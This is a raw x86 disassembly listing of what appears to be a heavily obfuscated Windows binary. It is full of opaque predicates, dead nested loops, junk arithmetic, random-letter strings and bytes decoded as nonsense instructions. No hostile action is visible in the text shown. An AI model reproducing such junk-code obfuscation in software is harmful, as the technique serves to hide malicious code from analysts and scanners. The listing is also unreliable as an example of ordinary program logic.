jmp 0x449f2a
lea eax, [ebp - 0x488]
push eax
push 0x459d
push 0x3ebd
lea ecx, [ebp - 0x630]
push ecx
lea edx, [ebp - 0x624]
push edx
push 0
push 1
push 0x4096
lea eax, [ebp - 0x50c]
push eax
push 0x53e1
lea ecx, [ebp - 0x490]
push ecx
call fcn.0044f7c0
add esp, 0x2c
lea ecx, [ebp - 0x630]
call fcn.004281a0
lea ecx, [ebp - 0x624]
call fcn.004281a0
mov dword [ebp - 0x588], 0xee0
cmp dword [ebp - 0x588], 0x1d44
jle 0x44a04a
push esp
test al, 0x50
push 0x1199e
pop eax
shr eax, 0x72
add eax, 0x81620
xor eax, 0x7da74
sar eax, 0xfe
push 0x10ca3
pop eax
sub eax, 0xe9d0f
sub eax, 0x5dc30
dec eax
sar eax, 0x3e
push 0x2ce9
pop eax
shr eax, 0x8d
inc eax
xor eax, 0xc289b
add eax, 0x3cc6b
push 0x14d24
pop eax
sub eax, 0x32be9
sub eax, 0x9d993
dec eax
add eax, 0x3cfd3
pop eax
jmp 0x4479e5
push 0x277f
push 0x41e4
push 1
push 1
push 0x7944
push 0
push 0x28fb
call fcn.004466b0
add esp, 0x1c
mov dword [ebp - 0xe8], 0
push 1
push 1
push 0xf3b
push 0xd4e
push 1
push 0xcec
call fcn.004465c0
add esp, 0x18
mov dword [ebp - 0xe8], 0xfffffffd
jmp 0x44a0ae
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
cmp dword [ebp - 0xe8], 0xd
jle 0x44a36a
mov dword [ebp - 0x74], 0xa59c
cmp dword [ebp - 0x74], 0
je 0x44a0cd
jmp 0x44a36a
mov dword [ebp - 0x74], 0xffffffe4
jmp 0x44a0df
mov eax, dword [ebp - 0x74]
add eax, 1
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x14
je 0x44a365
mov dword [ebp - 0x26c], 0x17e9
mov dword [ebp - 0x498], str.ugctgcy_wghzfbjkq_vjlvocr_eeib
cmp dword [ebp - 0x26c], 0x19c2
jle 0x44a1b8
mov dword [ebp - 0x120], 0
jmp 0x44a128
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
cmp dword [ebp - 0x120], 0x35e8
jge 0x44a1b8
mov dword [ebp - 0xf0], 0
jmp 0x44a153
mov edx, dword [ebp - 0xf0]
add edx, 1
mov dword [ebp - 0xf0], edx
cmp dword [ebp - 0xf0], 0x235f
jge 0x44a1b3
mov dword [ebp - 0x158], 0
jmp 0x44a17a
mov eax, dword [ebp - 0x158]
add eax, 1
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x7e7f
jge 0x44a1b1
push 0
push 0x3d3
push 0x5546
lea ecx, [ebp - 0x158]
push ecx
lea edx, [ebp - 0xf0]
push edx
lea eax, [ebp - 0x120]
push eax
call int.0044d4a0
add esp, 0x18
jmp 0x44a16b
jmp 0x44a144
jmp 0x44a119
mov byte [ebp - 0x5a], 0
mov dword [ebp - 4], 6
cmp dword [ebp - 0x26c], 0x17b5
jge 0x44a205
push 0x7c56
push 0x21e8
push 0x36a2
lea ecx, [ebp - 0x498]
push ecx
push 0x3638
push 1
push 0x671a
push 0x2314
push 0x64fb
push 0
call fcn.00444360
add esp, 0x28
jmp 0x44a221
mov dword [ebp - 4], 0xffffffff
jmp 0x44a231
movzx edx, byte [ebp - 0x5a]
test edx, edx
je 0x44a360
mov dword [ebp - 0x31c], 0x471e
mov dword [ebp - 0x518], str.nfj_axrup_kntaankor_nmocjgfq_mgoj_njvbwni_klw_eopgxa_fbfel_cpmy_hriv_egn
cmp dword [ebp - 0x31c], 0x48df
jle 0x44a307
mov dword [ebp - 0x100], 0
jmp 0x44a27c
mov eax, dword [ebp - 0x100]
add eax, 1
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x5cf8
jge 0x44a307
mov dword [ebp - 0x124], 0
jmp 0x44a2a3
mov ecx, dword [ebp - 0x124]
add ecx, 1
mov dword [ebp - 0x124], ecx
cmp dword [ebp - 0x124], 0x1fa6
jge 0x44a302
mov dword [ebp - 0xf8], 0
jmp 0x44a2ca
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
cmp dword [ebp - 0xf8], 0x6b57
jge 0x44a300
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0x124]
push ecx
push 1
push 1
lea edx, [ebp - 0x100]
push edx
push 1
push 0x6201
call fcn.004466b0
add esp, 0x1c
jmp 0x44a2bb
jmp 0x44a294
jmp 0x44a26d
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov dword [ebp - 4], 8
push 1
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x31c]
push ecx
push 1
push 0x57f
call fcn.00446900
add esp, 0x14
jmp 0x44a350
mov dword [ebp - 4], 0xffffffff
jmp 0x44a360
jmp 0x44a0d6
jmp 0x44a09f
mov dword [ebp - 0x110], 1
jmp 0x44a385
mov edx, dword [ebp - 0x110]
add edx, 1
mov dword [ebp - 0x110], edx
cmp dword [ebp - 0x110], 0x50
jg 0x44a7a1
mov dword [ebp - 0x78], 3
push 4
lea ecx, [ebp - 0x708]
call fcn.00428070
mov dword [ebp - 0x6d8], 0x2b79dc86
mov dword [ebp - 0x560], 0x2a6f9a4d
mov dword [ebp - 0x6e0], 0xb4448110
mov dword [ebp - 0x4a8], 0xa9a98436
mov dword [ebp - 0x6e8], 0xc24489be
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0x524], 8
push 1
lea ecx, [ebp - 0x5e8]
call fcn.00428070
mov dword [ebp - 0x294], 0xfffc
mov dword [ebp - 0x84], 0
jmp 0x44a41e
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 4
jge 0x44a441
mov ecx, dword [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x708]
call fcn.004281c0
mov dword [eax], 0xffff
jmp 0x44a40f
push 1
push 0x6b4c
push 0x4433
push 0x7d3f
push 0
lea edx, [ebp - 0x5e8]
push edx
push 0x1387
push 0x7e3f
push 1
lea eax, [ebp - 0x84]
push eax
push 0x5bf2
call fcn.00443620
add esp, 0x2c
mov dword [ebp - 0x78], 0
jmp 0x44a48d
mov ecx, dword [ebp - 0x78]
add ecx, 1
mov dword [ebp - 0x78], ecx
cmp dword [ebp - 0x78], 0x1a
jle 0x44a75f
mov dword [ebp - 0x48], 0x5ba77230
mov dword [ebp - 0x37c], 0xf1e5c8a5
mov dword [ebp - 0x6f8], 0xfffffffc
mov dword [ebp - 0x12c], 0
jmp 0x44a4cd
mov edx, dword [ebp - 0x12c]
add edx, 1
mov dword [ebp - 0x12c], edx
cmp dword [ebp - 0x12c], 2
jge 0x44a4e9
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x66c], 0xffffffff
jmp 0x44a4be
mov dword [ebp - 0x48], 3
jmp 0x44a4fb
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], 0
jl 0x44a71d
mov dword [ebp - 0x58], 8
mov dword [ebp - 0x710], 0
mov dword [ebp - 0x718], 3
mov dword [ebp - 0x720], 0x2dd8607f
mov dword [ebp - 0x108], 0
jmp 0x44a545
mov edx, dword [ebp - 0x108]
add edx, 1
mov dword [ebp - 0x108], edx
cmp dword [ebp - 0x108], 4
jge 0x44a561
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x82c], 0x5a60c437
jmp 0x44a536
mov dword [ebp - 0x58], 3
jmp 0x44a573
mov ecx, dword [ebp - 0x58]
sub ecx, 1
mov dword [ebp - 0x58], ecx
cmp dword [ebp - 0x58], 0
jl 0x44a718
mov dword [ebp - 0x4a0], 0xfffffffe
mov dword [ebp - 0x728], 7
mov dword [ebp - 0x640], 0xd17f4926
mov dword [ebp - 0x134], 0
jmp 0x44a5b6
mov edx, dword [ebp - 0x134]
add edx, 1
mov dword [ebp - 0x134], edx
cmp dword [ebp - 0x134], 1
jge 0x44a5d2
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x680], 0xffffffff
jmp 0x44a5a7
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x274], ecx
mov edx, 4
shl edx, 0
mov eax, dword [ebp - 0x274]
mov dword [ebp + edx - 0x66c], eax
mov ecx, dword [ebp - 0x48]
cmp dword [ebp - 0x274], ecx
je 0x44a607
mov dword [ebp - 0x374], 1
jmp 0x44a611
mov dword [ebp - 0x374], 0
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x374]
jne 0x44a628
mov dword [ebp - 0x3b0], 1
jmp 0x44a632
mov dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x644], eax
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x6ec], ecx
mov edx, dword [ebp - 0x58]
cmp dword [ebp - 0x48], edx
jge 0x44a658
mov dword [ebp - 0x27c], 1
jmp 0x44a662
mov dword [ebp - 0x27c], 0
cmp dword [ebp - 0x27c], 6
jb 0x44a677
mov dword [ebp - 0x324], 1
jmp 0x44a681
mov dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x324]
neg eax
je 0x44a6a0
cmp dword [ebp - 0x4a0], 0
je 0x44a6a0
mov dword [ebp - 0x284], 1
jmp 0x44a6aa
mov dword [ebp - 0x284], 0
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x284]
je 0x44a6c1
mov dword [ebp - 0x28c], 1
jmp 0x44a6cb
mov dword [ebp - 0x28c], 0
mov edx, dword [ebp - 0x3b0]
cmp edx, dword [ebp - 0x28c]
je 0x44a6e5
mov dword [ebp - 0x32c], 1
jmp 0x44a6ef
mov dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x32c]
add eax, 0xf5eb
imul eax, dword [ebp - 0x48]
mov dword [ebp - 0x37c], eax
mov ecx, dword [ebp - 0x294]
sub ecx, 1
mov dword [ebp - 0x294], ecx
jmp 0x44a56a
jmp 0x44a4f2
push 0x3fd4
lea edx, [ebp - 0x78]
push edx
lea eax, [ebp - 0x560]
push eax
push 0x7cb9
lea ecx, [ebp - 0x37c]
push ecx
push 1
push 1
lea edx, [ebp - 0x5e8]
push edx
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x524]
push ecx
call fcn.004432f0
add esp, 0x28
jmp 0x44a484
lea ecx, [ebp - 0x5e8]
call fcn.004281a0
lea ecx, [ebp - 0x708]
call fcn.004281a0
push 0
push 0x46b8
push 1
lea edx, [ebp - 0x110]
push edx
push 0x5c83
push 0x5b7b
push 0x6b31
call fcn.00444bf0
add esp, 0x1c
jmp 0x44a376
mov dword [ebp - 0x46c], 0x1da2
mov dword [ebp - 0x14], 0xfffe
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x178], 6
mov dword [ebp - 0x174], 0xfffffff6
mov dword [ebp - 0x13c], 0
jmp 0x44a7e8
mov eax, dword [ebp - 0x13c]
add eax, 1
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 1
jge 0x44a804
mov ecx, dword [ebp - 0x13c]
mov dword [ebp + ecx*4 - 0x1d8], 3
jmp 0x44a7d9
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x648], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x6bc], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x650], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
neg eax
cmp eax, 0x809b
jl 0x44a83d
mov dword [ebp - 0x29c], 1
jmp 0x44a847
mov dword [ebp - 0x29c], 0
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x29c], ecx
jne 0x44a85e
mov dword [ebp - 0x334], 1
jmp 0x44a868
mov dword [ebp - 0x334], 0
mov edx, dword [ebp - 0x14]
cmp dword [ebp - 0x334], edx
jne 0x44a87f
mov dword [ebp - 0x4b0], 1
jmp 0x44a889
mov dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x34], eax
jge 0x44a89d
mov dword [ebp - 0x2a4], 1
jmp 0x44a8a7
mov dword [ebp - 0x2a4], 0
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x178], ecx
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x658], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x6c4], ecx
cmp dword [ebp - 0x178], 0xffffffff
jge 0x44a8e6
mov dword [ebp - 0x3ac], 1
jmp 0x44a8f0
mov dword [ebp - 0x3ac], 0
mov edx, 5
sub edx, dword [ebp - 0x3ac]
sub edx, 1
sub edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x14]
je 0x44a912
mov dword [ebp - 0x2ac], 1
jmp 0x44a91c
mov dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x2ac], eax
jl 0x44a939
cmp dword [ebp - 0x14], 0
jne 0x44a939
mov dword [ebp - 0x33c], 0
jmp 0x44a943
mov dword [ebp - 0x33c], 1
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x33c], ecx
je 0x44a95a
mov dword [ebp - 0x2b4], 1
jmp 0x44a964
mov dword [ebp - 0x2b4], 0
cmp dword [ebp - 0x2b4], 4
jl 0x44a979
mov dword [ebp - 0x384], 1
jmp 0x44a983
mov dword [ebp - 0x384], 0
mov edx, dword [ebp - 0x14]
cmp dword [ebp - 0x384], edx
jne 0x44a99a
mov dword [ebp - 0x2bc], 1
jmp 0x44a9a4
mov dword [ebp - 0x2bc], 0
cmp dword [ebp - 0x2bc], 0xf63e
jl 0x44a9bc
mov dword [ebp - 0x344], 1
jmp 0x44a9c6
mov dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x344], eax
jg 0x44a9dd
mov dword [ebp - 0x2c4], 1
jmp 0x44a9e7
mov dword [ebp - 0x2c4], 0
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x2c4], ecx
jl 0x44a9fe
mov dword [ebp - 0x1c4], 1
jmp 0x44aa08
mov dword [ebp - 0x1c4], 0
mov edx, dword [ebp - 0x14]
cmp dword [ebp - 0x1c4], edx
jne 0x44aa1f
mov dword [ebp - 0x1c8], 1
jmp 0x44aa29
mov dword [ebp - 0x1c8], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x1c8], eax
jg 0x44aa43
mov dword [ebp - 0x1d0], 1
jmp 0x44aa4d
mov dword [ebp - 0x1d0], 0
mov ecx, dword [ebp - 0x174]
cmp dword [ebp - 0x1d0], ecx
jg 0x44aa67
mov dword [ebp - 0x584], 1
jmp 0x44aa71
mov dword [ebp - 0x584], 0
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x664], edx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x14], 0
je 0x44aaa4
push 0x6367
push 1
push 1
push 0x3c2d
call fcn.00446b40
add esp, 0x10
jmp 0x44aaef
mov dword [ebp - 0x34], 0xffffffe9
jmp 0x44aab6
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0x14
jle 0x44aadd
mov dword [ebp - 0x4b8], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 0x4b8]
mov dword [ebp + eax - 0x1d8], ecx
jmp 0x44aaad
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + eax - 0x1d8]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x1e0], 0x1921
mov dword [ebp - 0x404], str.caquamb_wbsbnh_kvobkx_orwavnv
cmp dword [ebp - 0x1e0], 0x19b8
jle 0x44aba1
mov dword [ebp - 0x118], 0
jmp 0x44ab2e
mov edx, dword [ebp - 0x118]
add edx, 1
mov dword [ebp - 0x118], edx
cmp dword [ebp - 0x118], 0x37e7
jge 0x44ab99
mov dword [ebp - 0x144], 0
jmp 0x44ab55
mov eax, dword [ebp - 0x144]
add eax, 1
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x5e1c
jge 0x44ab97
mov eax, dword [ebp - 0x118]
cdq
idiv dword [ebp - 0x144]
mov eax, edx
cdq
mov dword [ebp - 0x514], eax
mov dword [ebp - 0x510], edx
mov ecx, dword [ebp - 0x510]
push ecx
mov edx, dword [ebp - 0x514]
push edx
mov ecx, 0xa9b5f0
call fcn.00427f00
jmp 0x44ab46
jmp 0x44ab1f
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov dword [ebp - 0x530], 0x727
cmp dword [ebp - 0x530], 0x14f1
jle 0x44ac9c
lahf
scasb al, byte es:[edi]
jg 0x44ac14
jo 0x44ab9b
mov al, 0xb7
outsb dx, byte [esi]
add al, 0xe7
mul dword [edi - 0x3a]
dec edx
daa
mov dword [0xedd04ed2], eax
xchg ecx, eax
adc al, 0x90
and eax, 0x754c2ef7
cmc
inc ebp
mov fs, word [ecx - 0x277fdd5e]
mov esp, 0x4753d69
mov edi, 0xc0d4d98c
jbe 0x44ac3d
dec esp
jmp 0x44abec
pop es
add cl, al
clc
shr dword [eax + 0x7f], 0x8c
add byte [eax], al
pop eax
sar eax, 0x95
sar eax, 0x31
shr eax, 0x57
xor eax, 0x603cf
push 0x11ca
pop eax
shr eax, 0x19
sar eax, 0xdc
shl eax, 0x48
inc eax
pop eax
jmp 0x4a7f55
push 1
push 0
push 0x818
lea eax, [ebp - 0x34]
push eax
push 1
push 0x7922
call fcn.004465c0
add esp, 0x18
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x1e0], 0x187a
jge 0x44acdf
mov ecx, dword [ebp - 0x404]
push ecx
push 0xa9b5f0
call fcn.00408780
add esp, 8
jmp 0x44acfb
mov dword [ebp - 4], 0xffffffff
jmp 0x44ad0b
mov dword [ebp - 0x414], 0x233d
mov dword [ebp - 0x80], 0xdb3ae355
mov dword [ebp - 0x40c], 0x513c61c7
mov dword [ebp - 0x670], 1
mov dword [ebp - 0x98], 0
jmp 0x44ad4b
mov edx, dword [ebp - 0x98]
add edx, 1
mov dword [ebp - 0x98], edx
cmp dword [ebp - 0x98], 2
jge 0x44ad67
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x678], 0x9ce
jmp 0x44ad3c
mov dword [ebp - 0x80], 2
jmp 0x44ad79
mov ecx, dword [ebp - 0x80]
sub ecx, 1
mov dword [ebp - 0x80], ecx
cmp dword [ebp - 0x80], 0xffffffe5
jge 0x44ae36
push 0x4458
push 0x3049
push 0x6583
push 0x41be
push 1
push 0x994
push 1
push 0xb39
push 0x438d
push 0x2c07
call fcn.00443970
add esp, 0x28
mov edx, 4
shl edx, 0
cmp dword [ebp + edx - 0x678], 0xd3f7bf3
jge 0x44add8
mov dword [ebp - 0x1e8], 1
jmp 0x44ade2
mov dword [ebp - 0x1e8], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x1e8]
jle 0x44adf9
mov dword [ebp - 0x1f0], 1
jmp 0x44ae03
mov dword [ebp - 0x1f0], 0
cmp dword [ebp - 0x1f0], 0xffff
jae 0x44ae1b
mov dword [ebp - 0x1f8], 1
jmp 0x44ae25
mov dword [ebp - 0x1f8], 0
mov ecx, dword [ebp - 0x1f8]
mov dword [ebp - 0x40c], ecx
jmp 0x44ad70
cmp dword [ebp - 0x414], 0xb25
jge 0x44bc33
push 0
push 1
call fcn.00445e70
add esp, 8
mov dword [ebp - 0x28], 1
push 2
lea ecx, [ebp - 0x3e0]
call fcn.00428070
mov dword [ebp - 0x184], 1
mov dword [ebp - 0x41c], 6
mov dword [ebp - 0x6cc], 0xbf2b8319
push 1
lea edx, [ebp - 0x3e0]
push edx
push 0x74e2
push 1
lea eax, [ebp - 0x67c]
push eax
push 1
push 0x65d1
call fcn.00446d60
add esp, 0x1c
mov dword [ebp - 0x28], 0
jmp 0x44aebc
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], 0x15
je 0x44b13a
mov dword [ebp - 0x240], 0xffffffff
mov dword [ebp - 0x9c], 0
jmp 0x44aeeb
mov edx, dword [ebp - 0x9c]
add edx, 1
mov dword [ebp - 0x9c], edx
cmp dword [ebp - 0x9c], 1
jge 0x44af07
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xa4], 0x233fd52
jmp 0x44aedc
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x200], ecx
push 1
lea ecx, [ebp - 0x3e0]
call fcn.004281c0
mov edx, dword [ebp - 0x200]
mov dword [eax], edx
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x184]
mov edx, 4
imul eax, edx, 0
add ecx, dword [ebp + eax - 0xa4]
cmp ecx, 0xfffffffc
ja 0x44af5a
mov dword [ebp - 0x208], 1
jmp 0x44af64
mov dword [ebp - 0x208], 0
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp + edx - 0xa4]
cmp dword [ebp - 0x208], eax
jg 0x44af99
push 1
lea ecx, [ebp - 0x3e0]
call fcn.004281c0
cmp dword [eax], 0
je 0x44af99
mov dword [ebp - 0x210], 1
jmp 0x44afa3
mov dword [ebp - 0x210], 0
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 0x210]
sub eax, dword [ebp + edx - 0xa4]
cmp dword [ebp - 0x28], eax
jle 0x44afdb
push 1
lea ecx, [ebp - 0x3e0]
call fcn.004281c0
cmp dword [eax], 0
je 0x44afdb
mov dword [ebp - 0x218], 1
jmp 0x44afe5
mov dword [ebp - 0x218], 0
mov ecx, dword [ebp - 0x218]
sub ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
je 0x44afff
mov dword [ebp - 0x220], 1
jmp 0x44b009
mov dword [ebp - 0x220], 0
mov edx, dword [ebp - 0x28]
cmp dword [ebp - 0x220], edx
jle 0x44b032
push 0
lea ecx, [ebp - 0x3e0]
call fcn.004281c0
cmp dword [eax], 0
jne 0x44b032
mov dword [ebp - 0x228], 0
jmp 0x44b03c
mov dword [ebp - 0x228], 1
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x228]
test eax, eax
je 0x44b068
mov ecx, 4
imul edx, ecx, 0
cmp dword [ebp + edx - 0xa4], 0
je 0x44b068
mov dword [ebp - 0x230], 1
jmp 0x44b072
mov dword [ebp - 0x230], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x230], eax
jne 0x44b089
mov dword [ebp - 0x238], 1
jmp 0x44b093
mov dword [ebp - 0x238], 0
mov ecx, dword [ebp - 0x240]
sub ecx, dword [ebp - 0x238]
cmp dword [ebp - 0x240], ecx
je 0x44b0b3
mov dword [ebp - 0x248], 1
jmp 0x44b0bd
mov dword [ebp - 0x248], 0
mov edx, dword [ebp - 0x28]
cmp dword [ebp - 0x248], edx
jle 0x44b0d4
mov dword [ebp - 0x250], 1
jmp 0x44b0de
mov dword [ebp - 0x250], 0
cmp dword [ebp - 0x250], 0x65e1
je 0x44b0f6
mov dword [ebp - 0x258], 1
jmp 0x44b100
mov dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x41c], eax
push 0x6686
push 0x19c4
push 0
push 1
push 0x7070
push 1
push 0x7668
lea ecx, [ebp - 0x184]
push ecx
call fcn.00443e20
add esp, 0x20
jmp 0x44aeb3
lea ecx, [ebp - 0x3e0]
call fcn.004281a0
push 1
push 1
push 0x6cf6
call fcn.00443cb0
add esp, 0xc
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x714], 4
mov dword [ebp - 0x42c], 0xb2c57e71
mov dword [ebp - 0x400], 0xc71cb27f
mov dword [ebp - 0xac], 0
jmp 0x44b199
mov edx, dword [ebp - 0xac]
add edx, 1
mov dword [ebp - 0xac], edx
cmp dword [ebp - 0xac], 3
jge 0x44b1b5
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x7c8], 0xfffffffd
jmp 0x44b18a
mov dword [ebp - 0xb4], 2
jmp 0x44b1d0
mov ecx, dword [ebp - 0xb4]
sub ecx, 1
mov dword [ebp - 0xb4], ecx
cmp dword [ebp - 0xb4], 0
jl 0x44b35c
mov dword [ebp - 0xbc], 0xfffffffe
mov dword [ebp - 0x684], 0xd221e9c9
mov dword [ebp - 0x6d4], 1
mov dword [ebp - 0x68c], 0xfbf68593
mov dword [ebp - 0xbc], 0
jmp 0x44b220
mov edx, dword [ebp - 0xbc]
add edx, 1
mov dword [ebp - 0xbc], edx
cmp dword [ebp - 0xbc], 2
jg 0x44b357
mov dword [ebp - 0x44], 0
jmp 0x44b23f
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x44b255
mov ecx, dword [ebp - 0x44]
mov dword [ebp + ecx*4 - 0x5a8], 0x363f9e92
jmp 0x44b236
mov dword [ebp - 0x44], 0
jmp 0x44b267
mov edx, dword [ebp - 0x44]
add edx, 1
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 2
jge 0x44b27d
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x76c], 0x41a62a96
jmp 0x44b25e
mov byte [ebp - 0x5b], 0
movzx ecx, byte [ebp - 0x5b]
test ecx, ecx
je 0x44b29f
push 0x46e1
push 0x62f1
push 1
push 1
call fcn.00443d40
add esp, 0x10
mov edx, 4
shl edx, 1
mov dword [ebp + edx - 0x5a8], 0
jmp 0x44b2d2
mov eax, 4
shl eax, 1
mov ecx, dword [ebp + eax - 0x5a8]
add ecx, 1
mov edx, 4
shl edx, 1
mov dword [ebp + edx - 0x5a8], ecx
mov eax, 4
shl eax, 1
cmp dword [ebp + eax - 0x5a8], 2
jg 0x44b352
mov dword [ebp - 0x40], 0
jmp 0x44b2f5
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], 3
jge 0x44b30b
mov edx, dword [ebp - 0x40]
mov dword [ebp + edx*4 - 0x7a4], 0xd8f6efba
jmp 0x44b2ec
mov dword [ebp - 0x40], 0
jmp 0x44b31d
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x44b333
mov ecx, dword [ebp - 0x40]
mov dword [ebp + ecx*4 - 0x7ec], 0xb3895196
jmp 0x44b314
push 1
lea edx, [ebp - 0x400]
push edx
push 1
push 0x102d
push 1
call fcn.00446ec0
add esp, 0x14
jmp 0x44b2b3
jmp 0x44b211
jmp 0x44b1c1
push 1
push 0x7cfe
lea eax, [ebp - 0x42c]
push eax
push 0x23be
push 0x521a
push 0x6d44
push 0x2fa5
push 0x7e2f
push 0x36fd
push 1
push 0
call fcn.00447ff0
add esp, 0x2c
mov dword [ebp - 0x260], 0x1849
mov dword [ebp - 0x434], 0x1095
cmp dword [ebp - 0x434], 0x1f41
jle 0x44b404
cmpsb byte [esi], byte es:[edi]
mov dword [ebp - 0x43c], str.zetdc_cha_ekz_wjteimhrk_pqqbbozw
push 0x3928
push 0x5644
push 0x2cc3
push 0x33aa
lea ecx, [ebp - 0x260]
push ecx
push 1
push 1
call fcn.00446ff0
add esp, 0x1c
lea ecx, [ebp - 0x5b4]
call fcn.00457220
mov dword [ebp - 0x268], 0x4a77
mov dword [ebp - 0x444], str.jlnkmvp_tnl_kvssdkv_bqurjv_ldnlupfc_xwaoskqr
cmp dword [ebp - 0x268], 0x4c31
jle 0x44b51f
mov dword [ebp - 0xd4], 0
jmp 0x44b47f
mov edx, dword [ebp - 0xd4]
add edx, 1
mov dword [ebp - 0xd4], edx
cmp dword [ebp - 0xd4], 0x4172
jge 0x44b51f
mov dword [ebp - 0xc4], 0
jmp 0x44b4aa
mov eax, dword [ebp - 0xc4]
add eax, 1
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x6a7a
jge 0x44b51a
mov dword [ebp - 0xcc], 0
jmp 0x44b4d1
mov ecx, dword [ebp - 0xcc]
add ecx, 1
mov dword [ebp - 0xcc], ecx
cmp dword [ebp - 0xcc], 0x2f2c
jge 0x44b518
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
shl eax, cl
cdq
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], edx
mov edx, dword [ebp - 0x51c]
push edx
mov eax, dword [ebp - 0x520]
push eax
mov ecx, 0xa9b5f0
call fcn.00427f00
jmp 0x44b4c2
jmp 0x44b49b
jmp 0x44b470
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x260], 0x151b
jge 0x44b547
lea ecx, [ebp - 0x43c]
push ecx
push 1
push 1
push 1
call fcn.00447170
add esp, 0x10
jmp 0x44b576
mov dword [ebp - 4], 0xffffffff
jmp 0x44b586
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x268], 0x48be
jge 0x44b5ad
mov edx, dword [ebp - 0x444]
push edx
push 0xa9b5f0
call fcn.00408780
add esp, 8
jmp 0x44b5c9
mov dword [ebp - 4], 0xffffffff
jmp 0x44b5d9
mov dword [ebp - 0x2c], 0x82ff
mov dword [ebp - 0x288], 0xffffffff
mov dword [ebp - 0x2b8], 0x78cca699
mov dword [ebp - 0x454], 1
mov dword [ebp - 0x6fc], 8
mov dword [ebp - 0x270], 0x1e09
